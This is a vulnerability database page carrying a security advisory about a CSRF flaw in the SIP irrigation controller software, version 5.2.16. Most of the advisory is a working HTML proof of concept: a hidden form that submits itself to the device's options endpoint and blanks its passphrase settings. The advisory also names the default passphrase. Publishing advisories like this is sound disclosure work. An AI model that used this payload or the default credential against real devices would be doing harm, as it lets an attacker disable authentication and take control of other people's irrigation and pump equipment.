Lucene search
K

SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization

🗓️ 14 Jul 2026 00:00:00Reported by Anja IvanovskaType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 6 Views

SIP on Raspberry Pi has CSRF flaw enabling unauthorized actions; passphrase may be disabled.

Code
<!--

SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization


Vendor: Dan-in-CA
Product web page: https://github.com/Dan-in-CA/SIP
Affected version: 5.2.16

Summary: SIP is a free Raspberry Pi based Python program for
controlling irrigation systems (sprinkler, drip, hydroponic,
etc). It uses web technology to provide an intuitive user
interface (UI) in several languages. The UI can be accessed
in your favorite browser on desktop, laptop, and mobile devices.
SIP has also been used to control pumps, lights, and other Irrigation
related equipment.

Desc: The application performs state-changing actions through
HTTP GET requests without including any anti-CSRF token or validating
the request origin. This can be exploited to perform administrative
actions such as disabling the passphrase, rebooting the device, deleting
programs or installing plugins if a logged-in administrator is lured
into visiting a malicious web page. When the optional passphrase is
not enabled (factory default) these actions are additionally available
to any unauthenticated user, and where the passphrase is enabled it
defaults to 'opendoor'.

Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
           Python 3.9.2


Vulnerability discovered by Anja Ivanovska
                            @zeroscience


Advisory ID: ZSL-2026-5995
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5995


24.06.2026

--><html>
<body>
<form action="http://SIP/co">
<input name="oname" type="hidden" value="ZSL"/>
<input name="oloc" type="hidden" value=""/>
<input name="olang" type="hidden" value="default"/>
<input name="otf" type="hidden" value="on"/>
<input name="ohtp" type="hidden" value="80"/>
<input name="ohtip" type="hidden" value="::"/>
<input name="owl" type="hidden" value="42"/>
<input name="s0" type="hidden" value="S01"/>
<input name="s1" type="hidden" value="S02"/>
<input name="s2" type="hidden" value="S03"/>
<input name="s3" type="hidden" value="S04"/>
<input name="s4" type="hidden" value="S05"/>
<input name="s5" type="hidden" value="S06"/>
<input name="s6" type="hidden" value="S07"/>
<input name="s7" type="hidden" value="S08"/>
<input name="onbrd" type="hidden" value="0"/>
<input name="osdt" type="hidden" value="0"/>
<input name="omton" type="hidden" value="0"/>
<input name="omtoff" type="hidden" value="0"/>
<input name="orst" type="hidden" value="on"/>
<input name="olg" type="hidden" value="on"/>
<input name="olr" type="hidden" value="100"/>
<input name="opw" type="hidden" value=""/>
<input name="npw" type="hidden" value=""/>
<input name="cpw" type="hidden" value=""/>
<input name="omas" type="hidden" value="0"/>
<input name="i0" type="hidden" value="0"/>
<input name="sh0" type="hidden" value="3"/>
<input name="w0" type="hidden" value="0"/>
<input name="m0" type="hidden" value=""/>
<input type="submit" value="NoAuth"/>
</form>
<script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
6